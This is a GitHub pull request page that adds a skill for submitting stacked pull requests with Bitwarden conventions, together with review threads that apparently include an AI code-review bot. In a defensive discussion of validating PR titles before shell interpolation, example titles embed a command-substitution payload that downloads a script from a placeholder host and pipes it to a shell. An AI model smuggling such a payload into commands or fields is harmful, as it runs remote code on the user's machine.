feat(bitwarden-delivery-tools): add stacked pull request support - #218
feat(bitwarden-delivery-tools): add stacked pull request support#218withinfocus wants to merge 1 commit into
Conversation
🤖 Bitwarden Claude Code ReviewOverall Assessment: REQUEST CHANGES Reviewed at head Not covered: Skill review did not run — this review path cannot launch Code Review DetailsStill open from prior rounds, unaddressed at this head, not re-raised inline:
The |
fa8d082 to
eda42c0
Compare
![claude[bot]](https://avatars.githubusercontent.com/in/1236702?s=60&v=4){kind=small}
eda42c0 to
73176c6
Compare
73176c6 to
d2f763c
Compare
d2f763c to
a7a868a
Compare
a7a868a to
efaeccc
Compare
efaeccc to
80a356d
Compare
80a356d to
98dedc0
Compare
98dedc0 to
677b665
Compare
677b665 to
b3a8547
Compare
b3a8547 to
382b8a1
Compare
| Update error handling in login flow | ||
| ``` | ||
|
|
||
| In a stack every layer becomes its own pull request, so "first commit on a branch" means per layer: each layer's first commit carries the full format, and the type keyword is chosen for that layer rather than inherited from the layer below. |
There was a problem hiding this comment.
My understanding is stacks require separate unique branches. Why do we need to introduce a layers concept and define what a first commit is here?
Also a little concerning that we're leaking behavior of a very specific GitHub feature into a skill that's only supposed to be responsible for committing changes.
There was a problem hiding this comment.
Both points are right, and the second is broader than this line.
On the first: a stack layer is a branch, so the existing rule one paragraph up — "Only the first commit on a branch needs the full format" — already resolves per layer with nothing added. The sentence defined a term that was never ambiguous. The only clause that looked like new information (type keyword chosen per layer, not inherited) was already stated twice in stacking-pull-requests, in the Step 3 table and the bullet under it.
On the leak: it was in four places, not one. The description, this line, the Pre-Commit Quality Gate paragraph, and a new eval case. Removing only this line would have left the concern mostly intact, so I removed the lot — committing-changes' body is now byte-identical to main.
One piece did carry weight, and I moved it rather than dropped it. If someone invokes committing-changes directly while sitting on a lower layer that already has an open PR, stacking-pull-requests is not running and nothing catches it; the fix belongs to its Step 5, which rebases and force-pushes the layers above behind a confirmation. That guard now lives in perform-preflight's Stacked Branches section, which committing-changes already ran before staging on main. So the skill stays stack-ignorant and inherits stack awareness through a call it was already making.
What I kept is the description boundary, on the grounds that it is routing rather than behavior — it stops this skill grabbing stack-level requests. Trimmed to just that: no "layer you are still building", no open-pull-request clause. Happy to drop it entirely if you would rather the description not name a sibling skill either.
There was a problem hiding this comment.
💭 What do you think about making a skill specifically for stacking-pull-requests that loops through committing-changes and creating-pull-requests for layers either provided by the caller or inferred by reading the git log?
I feel like that creates a clearer separation of concerns and keeps things more composable.
Wow... disregard. How did I totally gloss over that already being added? Clearly time to take a break. 😆
|
For what it's worth and after seeing the spread, I am still gonna try to refactor this. |
| - `gh` has no `--title-file`, so a title does go through the shell inside a double-quoted | ||
| argument. **Validate the whole composed title against an allowlist and refuse anything that | ||
| does not match:** | ||
|
|
||
| ``` | ||
| ^(\[[A-Z][A-Z0-9]{1,9}-[0-9]{1,7}\] )?(feat|fix|chore|docs|refactor|test|ci|build|perf|revert|deps|llm|breaking|misc)(\([a-z0-9._/-]+\))?: [A-Za-z0-9 ,.:'()/_-]+$ | ||
| ``` | ||
|
|
||
| The summary has to be covered too, not just the prefix: it is the model- and template-derived | ||
| part, so `[PM-31007] feat: handle $(curl -s https://x/y|sh) tokens` satisfies a shape check | ||
| that only pins the prefix and then executes when interpolated. Rejecting `$`, backticks, | ||
| backslashes, and `"` stays as a second pass, but it is a denylist and it only holds for the | ||
| double-quoted style above — a single-quoted composition reopens it via `'`. This applies to | ||
| single-branch PRs too. | ||
|
|
||
| The ticket-key bracket is optional and its project prefix is any `ABC-123` shape: this is a | ||
| shell-safety control, not a conventions check. Refusing a legitimate title blocks a submission | ||
| nothing else will unblock, since the key is repository data rather than something to reword. |
There was a problem hiding this comment.
Details and fix
3.2.0 extracted this control to references/pr-title-allowlist.md as two checks in order, and every other PR-creating path now points at it: creating-pull-request/SKILL.md:109, force-multiplier/SKILL.md:66, applying-pr-conventions/SKILL.md:67. The stack path is the fourth such path and carries its own copy, which diverges in three ways:
- The line-break refusal is missing, and so is the whole-string/single-line matching rule. The canonical file argues that omission is the bypass: "
grep -qEis line-oriented and succeeds when any line matches, sofeat: update depsfollowed by a newline and$(curl -s https://x/y|sh)clears an anchoredgrepand then executes when interpolated." The pattern here is anchored with^…$and nothing says to match whole-string, so an agent implementing it withgrep -qEreproduces exactly that hole before--title "…". - The type token is a closed list (
feat|fix|chore|…). The canonical file makes it any lowercase keyword on purpose: "change-type-labels.mdpoints at.github/label-pr.json… and notes it accepts further aliases, so a closed list here would refuse titles CI accepts." - The summary class drops
[,],+,&,#, and the em dash. The canonical file admits those deliberately — "the em dash this house style uses. None of them do anything inside a double-quoted argument, so excluding them only produces false refusals." A layer title with an em dash passesapplying-pr-conventions(Step 3) and is then refused here, after the Step 4 preview was confirmed, which is the refusal the canonical file says "nothing else can unblock."
Pointing at the one file also picks up its refusal-reporting rule and keeps the control from drifting a second time:
| - `gh` has no `--title-file`, so a title does go through the shell inside a double-quoted | |
| argument. **Validate the whole composed title against an allowlist and refuse anything that | |
| does not match:** | |
| ``` | |
| ^(\[[A-Z][A-Z0-9]{1,9}-[0-9]{1,7}\] )?(feat|fix|chore|docs|refactor|test|ci|build|perf|revert|deps|llm|breaking|misc)(\([a-z0-9._/-]+\))?: [A-Za-z0-9 ,.:'()/_-]+$ | |
| ``` | |
| The summary has to be covered too, not just the prefix: it is the model- and template-derived | |
| part, so `[PM-31007] feat: handle $(curl -s https://x/y|sh) tokens` satisfies a shape check | |
| that only pins the prefix and then executes when interpolated. Rejecting `$`, backticks, | |
| backslashes, and `"` stays as a second pass, but it is a denylist and it only holds for the | |
| double-quoted style above — a single-quoted composition reopens it via `'`. This applies to | |
| single-branch PRs too. | |
| The ticket-key bracket is optional and its project prefix is any `ABC-123` shape: this is a | |
| shell-safety control, not a conventions check. Refusing a legitimate title blocks a submission | |
| nothing else will unblock, since the key is repository data rather than something to reword. | |
| - `gh` has no `--title-file`, so a title does go through the shell inside a double-quoted | |
| argument. Run the two checks in `${CLAUDE_PLUGIN_ROOT}/references/pr-title-allowlist.md` | |
| against every composed title and refuse anything that fails — the line-break refusal | |
| first, then the whole-string match. That file explains why the check has to cover the | |
| summary and not just the `<type>:` prefix, what it deliberately admits so a legitimate | |
| title is never refused, and what to do on a refusal. This applies to single-branch PRs | |
| too. |
Worth adding the stack path to that file's "Who uses this" list in the same edit.
| Stacks depend on an external extension that is not installed by default, plus the skill that ships with it. Check both before planning anything, because a plan built on unavailable tooling wastes the planning. | ||
|
|
||
| - **Extension.** `gh extension list` must show a `github/gh-stack` row. If it is absent, offer `gh extension install github/gh-stack`. An install counts immediately: `gh extension list` reflects it in this run. | ||
| - **Skill.** A `gh-stack` skill must be resolvable — from a plugin, a `--plugin-dir` load, or a `SKILL.md` at `.claude/skills/gh-stack/` or `~/.claude/skills/gh-stack/`. Check the available-skills listing for the name. Fall back to `Glob` over those two paths only if the name is absent there, and only to tell _not installed_ apart from _installed but not yet loaded_ — a `Glob` hit is never grounds for continuing. Do not probe by invoking `Skill(gh-stack)`: invoking a missing skill is itself an error, inside a gate whose job is to fail cleanly into the fallback. `gh extension install` fetches only a binary and never places the skill, so it installs separately; the reference above has that procedure and the commit to verify the copy against. |
There was a problem hiding this comment.
Details and fix
Two problems in the closing clause:
- The pointer dangles.
installing-gh-stack.mdis first named at line 23, below this bullet. The only reference named above it issubmitting-a-stack.md(line 10), which contains no install procedure. So the one gate whose remedy must not be improvised leaves the agent with either the wrong file or nothing — the same gap the plugin README thread closed earlier in this PR ("the agent has to improvise the one thing Step 0 exists to avoid improvising"). - "the commit to verify the copy against" contradicts the procedure.
installing-gh-stack.mdsays the opposite: "Note the SHA the clone reports and state it when you tell the user what was installed. There is no expected value to compare it against: this tracks the extension's default branch rather than a pinned release, so the SHA is a record of what landed, not a gate." The clause reads as though a verification value exists, which survived from the pinned-v0.1.0version the PR description says was dropped.
Naming the file and matching what it actually says fixes both:
| - **Skill.** A `gh-stack` skill must be resolvable — from a plugin, a `--plugin-dir` load, or a `SKILL.md` at `.claude/skills/gh-stack/` or `~/.claude/skills/gh-stack/`. Check the available-skills listing for the name. Fall back to `Glob` over those two paths only if the name is absent there, and only to tell _not installed_ apart from _installed but not yet loaded_ — a `Glob` hit is never grounds for continuing. Do not probe by invoking `Skill(gh-stack)`: invoking a missing skill is itself an error, inside a gate whose job is to fail cleanly into the fallback. `gh extension install` fetches only a binary and never places the skill, so it installs separately; the reference above has that procedure and the commit to verify the copy against. | |
| - **Skill.** A `gh-stack` skill must be resolvable — from a plugin, a `--plugin-dir` load, or a `SKILL.md` at `.claude/skills/gh-stack/` or `~/.claude/skills/gh-stack/`. Check the available-skills listing for the name. Fall back to `Glob` over those two paths only if the name is absent there, and only to tell _not installed_ apart from _installed but not yet loaded_ — a `Glob` hit is never grounds for continuing. Do not probe by invoking `Skill(gh-stack)`: invoking a missing skill is itself an error, inside a gate whose job is to fail cleanly into the fallback. `gh extension install` fetches only a binary and never places the skill, so it installs separately; `${CLAUDE_PLUGIN_ROOT}/skills/stacking-pull-requests/references/installing-gh-stack.md` has that procedure, including the SHA to record for what landed and the pre-install read that is the only control on that content. |
| ### Changed | ||
|
|
||
| - `creating-pull-request`: routes chain requests to `stacking-pull-requests`, and accepts a single pull request back from it when the stack path is unavailable. Its review gate runs per layer when that skill drives it. | ||
| - `applying-pr-conventions`: invoked once per layer by the stack path. |
There was a problem hiding this comment.
♻️ DEBT: The eval changes in this release have no entry, including one stale baseline a reader has to re-record.
Details and fix
Two net changes against 3.2.0 are unrecorded, and both have precedent in this file:
committing-changesevals went 13 → 14 cases and its baseline is now stale.committing-changes/evals/README.mdsays so itself — "stale as of the stack-scope description change: it holds 13 results against the current 14 queries … Record the baseline after this version ships, not before." Nobody re-records what the changelog does not mention, and 3.2.0 carries exactly this bullet shape forcreating-pull-request(line 33).skills/stacking-pull-requests/evals/is new with no committed baseline. 3.1.0 lists the equivalent addition as its ownAddedbullet ("filing-breakdown-taskstrigger eval (skills/filing-breakdown-tasks/evals/)").
Neither is branch-internal churn — both are real deltas from 3.2.0, so they do not fall in the class corrected earlier in this review. The Added bullet at line 12 can absorb the evals directory; this one covers the baseline:
| - `applying-pr-conventions`: invoked once per layer by the stack path. | |
| - `applying-pr-conventions`: invoked once per layer by the stack path. | |
| - `committing-changes` evals: 14 cases, adding a should-trigger case for a commit on a stack layer. Baseline needs re-recording after release — that runner loads the installed cache. |
| Each review path checks its own prerequisites and reports what to install if something is missing. If a path can't run, install what it reports or fall back to the other path and note the limitation in the PR body. If neither path is available, stop and prompt the user to install `bitwarden-code-review` (`/plugin install bitwarden-code-review@bitwarden-marketplace`) before continuing. Never silently skip the review. | ||
|
|
||
| **This gate runs on every entry.** There is no caller exemption. A skill that wants the title, body, and label rather than this whole workflow should invoke `Skill(applying-pr-conventions)` directly, which is what `force-multiplier` does; `force-multiplier` is therefore a peer of this workflow rather than a caller of it. | ||
| **One thing another delivery skill may do with this step:** run 1b alone. `stacking-pull-requests` does, once per layer, because the review gate is per pull request and a stack has N of them. It runs `perform-preflight` itself per layer, so do not also run 1a, and return after 1b rather than continuing into Step 2. |
There was a problem hiding this comment.
Details and fix
In this file 1a is preflight (line 22), 1b is "Resolve the base branch" (line 31), and 1c is "Run the code review" (line 36). This sentence means 1c on all three counts:
- its own rationale is the review gate — "because the review gate is per pull request and a stack has N of them";
- it excludes only 1a, on the grounds that the stack path runs
perform-preflightitself; - "return after 1b rather than continuing into Step 2" only reads as terminal if 1b were the last sub-step of Step 1, which it is not.
So an agent following this returns after resolving a base branch, and stacking-pull-requests Step 2's second bullet — the gate that step exists for — never fires. Two call sites in the new skill inherit the same label: stacking-pull-requests/SKILL.md:55 ("The code-review gate from Skill(creating-pull-request) Step 1b, per layer") and :103 ("creating-pull-request Step 1b records a user-volunteered skip").
The label was accurate when this integration was first written — the review thread on this file from 2026-08-26 discusses "Step 1b" as the review step — and the 1a/1b/1c split landed on feat/pr-conventions-skill afterwards without these three call sites moving with it.
| **One thing another delivery skill may do with this step:** run 1b alone. `stacking-pull-requests` does, once per layer, because the review gate is per pull request and a stack has N of them. It runs `perform-preflight` itself per layer, so do not also run 1a, and return after 1b rather than continuing into Step 2. | |
| **One thing another delivery skill may do with this step:** run 1c alone. `stacking-pull-requests` does, once per layer, because the review gate is per pull request and a stack has N of them. It runs `perform-preflight` itself per layer and takes each layer's base from the stack rather than from 1b, so do not also run 1a or 1b, and return after 1c rather than continuing into Step 2. |
Worth renaming the two stacking-pull-requests references to Step 1c in the same edit — line 55 there also points at "that step's own base-ref paragraph" for layer scoping, and the layer-scoping guidance is the paragraph at line 43 under 1c, not 1b's Review scope bullet.
|
|
||
| Every layer carries its own review path and deferred-finding count, because `creating-pull-request` Step 1b records a user-volunteered skip and any deferred CRITICAL or IMPORTANT findings for surfacing at preview time, and this is the preview that replaces its Step 3. A skip on one layer must not be invisible behind a tick. | ||
|
|
||
| Confirm with `AskUserQuestion` before anything is pushed, offering submit / edit a layer / change the label / cancel. Only submit on an explicit confirmation, then follow `${CLAUDE_PLUGIN_ROOT}/skills/stacking-pull-requests/references/submitting-a-stack.md`. |
There was a problem hiding this comment.
🎨 SUGGESTED: The two non-submit options carry no procedure, so "change the label" re-enters the loop that discards an "edit a layer" edit.
Details and fix
creating-pull-request Step 3 offers the same four options and spells out what each one does, including the guard this line drops:
Change ai-review label— ask the label question again here (ai-review,ai-review-vnext,No label), then redisplay the preview and re-ask. Do not re-enterSkill(applying-pr-conventions); it would recompose the title and body and discard any edit just applied
On a stack the hazard is N× larger and the natural move is worse. Step 3 here is the only place conventions are composed, and its label bullet keys the skip on the caller having "already settled it" — so changing the label means it is no longer settled, and re-invoking Skill(applying-pr-conventions) once per layer is the obvious way to re-ask. That recomposes every layer's title and body, discarding any edit made through the neighbouring edit a layer option, and re-triggers applying-pr-conventions Step 1's "show the proposed title to the user" N times — its skip is scoped to a caller that locked a title pattern for a set, which Step 3 explicitly says a stack does not do ("the type keyword is the opposite — chosen per layer").
Two clauses close it:
Confirm with
AskUserQuestionbefore anything is pushed, offering submit / edit a layer / change the label / cancel. Onedit a layer, apply the edit to that layer's stored title or body, then redisplay the whole preview and re-ask. Onchange the label, ask the label question here and apply the answer to every layer — do not re-enterSkill(applying-pr-conventions), which would recompose all N titles and bodies and discard any layer edit just applied. Only submit on an explicit confirmation, then follow${CLAUDE_PLUGIN_ROOT}/skills/stacking-pull-requests/references/submitting-a-stack.md.
|
|
||
| ## Step 3 — Give every layer its Bitwarden conventions | ||
|
|
||
| Each layer is a pull request, so each layer needs the same conventions a single-branch PR does. Invoke `Skill(applying-pr-conventions)` **once per layer** to compose them. |
There was a problem hiding this comment.
applying-pr-conventions, so no layer's body carries its deferred findings.
Details and fix
applying-pr-conventions/SKILL.md:52 composes the Objective section from what the caller hands it and nothing else:
Record in the Objective section whatever the caller passed in: the review path taken, any skip the user volunteered, every deferred CRITICAL or IMPORTANT finding, and any scope or path limitation on the review. Do not go looking for review results yourself, and do not state that a review happened when the caller said nothing about one.
This step is the only place the stack path composes a body, and it enumerates its per-loop inputs — the label and the ticket key — without naming that record. creating-pull-request Step 2 carries the matching sentence for the single-branch path ("Pass it what Step 1 produced, since it does not go looking for review results itself"), and that is the half missing here. Step 2's "Carry the review path and the deferred findings into that layer's PR body" names the destination, not the invocation that writes it.
What gets lost is exactly what the submission reference twice says these bodies are for — references/submitting-a-stack.md:31 and :53, "the bodies carry each layer's deferred CRITICAL and IMPORTANT findings" — plus the volunteered skip and creating-pull-request:43's "record in that layer's PR body that the review was not layer-scoped". Since applying-pr-conventions is also told not to claim a review happened when the caller said nothing, each layer ships a body silent on its own gate.
A third bullet alongside the two carried across the loop closes it, something like: the gate record — unlike the label and the ticket key, this one is per layer, so pass that layer's review path, any volunteered skip, its deferred CRITICAL and IMPORTANT findings, and any scope limitation into its own invocation; that skill records only what the caller passes and will not go looking.
| ```bash | ||
| WORK="$(mktemp -d)" && echo "$WORK" \ | ||
| && git clone --depth 1 https://github.com/github/gh-stack "$WORK/gh-stack" \ | ||
| && git -C "$WORK/gh-stack" rev-parse HEAD \ | ||
| && ls "$WORK/gh-stack/skills/gh-stack/SKILL.md" | ||
| ``` |
There was a problem hiding this comment.
❓ QUESTION: Has AppSec seen github/gh-stack, given this installs unpinned third-party instructions that auto-load into every session?
Why this is worth a human call
This release introduces a genuinely new external dependency — gh-stack appears nowhere in the repository before this change — and the integration is heavier than a typical library: the vendored skills/gh-stack/SKILL.md lands in a version-controlled .claude/skills/ and, as this file says twice, "auto-loads into every future session in this project". The PR description records that nothing is pinned and that the clone tracks the extension's default branch, with the pre-install read as the only control.
Bitwarden's Dependency Review and Approval process covers all new dependencies, and the PR description references no VULN task or AppSec sign-off. Two things a security engineer would likely want to weigh in on:
- Whether the process applies here at all. It is not a manifest dependency, so it may fall outside the process by design — that is a call for AppSec rather than for this review.
- Whether the clone should pin.
git clone --depth 1with no--branch/--revisionmeans the content differs run to run, so the pre-install read validates one revision while the next engineer installs another, and the recorded SHA is a receipt rather than a gate. Adding--branch v0.1.1would make the read reusable at the cost of manual bumps.
Not asking for a change — the tradeoff is documented and deliberate. Flagging it because approval and pinning are both decisions outside this diff.
A stack turns one large change into a chain of branches, each reviewed against its parent rather than against trunk. GitHub's gh-stack extension owns the mechanics; what it knows nothing about is Bitwarden's per-PR conventions, which a stack multiplies by the number of layers and which `gh stack submit` cannot carry at all. `stacking-pull-requests` plans the layers, gates each one, applies the conventions per layer, previews the whole chain once, and merges it. `perform-preflight` gains the per-layer checks a stacked branch needs.
2 participants
🎟️ Tracking
No ticket. Stacked on #235, which has to merge first.
📔 Objective
A stack turns one large change into a chain of branches, each reviewed against its parent rather than against trunk, so reviewers see one concern at a time. GitHub's
gh-stackextension owns the mechanics. What it knows nothing about is Bitwarden's per-PR conventions, which a stack multiplies by the number of layers and whichgh stack submitcannot carry at all: its only flags are--auto,--open, and--remote, and--autogenerates titles with no type prefix, so every layer would ship with not:label and an improvised body.stacking-pull-requestsplans the layers, gates each one, applies the conventions per layer, previews the whole chain once, and merges it.perform-preflightgains the per-layer checks a stacked branch needs.Structure
Step 0 checks that both the extension and the
gh-stackskill are usable in the current run, and falls back to a single-branch PR whenever either is not. That check is worth its length: the skill installs separately from the extension, and a skill copied mid-session is on disk but unresolvable until Claude Code restarts, so a successful install still leaves the run without it.One whole-stack preview replaces the per-PR one. A wrong base is the failure that catch-net exists for, and it is only visible with the chain laid out together.
The
gh-stackdependencyDocumented against v0.1.1. Nothing is pinned; the install tracks the extension's default branch and the procedure records the SHA it landed rather than gating on one. Worth knowing what that trades away: the vendored
SKILL.mdauto-loads into every future session in the project, so reading it before installing is now the only control on that content. The install procedure says so, and v0.1.1 makes it a shorter read at roughly 180 lines, down from about 890.One v0.1.1 behavior change matters here:
gh stack addon a non-stack branch now offers to initialize a stack interactively. Step 1 usesgh stack initexplicitly, because a prompt nobody answers hangs the run.Notes for review
stacking-pull-requests/evals/has no committed baseline. Its runner is now a copy of thefiling-breakdown-tasksone rather than the fork it started as, so the earlier divergence in that directory is gone. A baseline can be recorded from the working tree since the runner takes--plugin-dir.The open thread on
committing-changesis still open on purpose. Its body is byte-identical to main now; the only remaining change is a one-line description boundary, and I asked whether that should go too.The
ai-reviewlabel is unset. Tell me which you want and I will add it.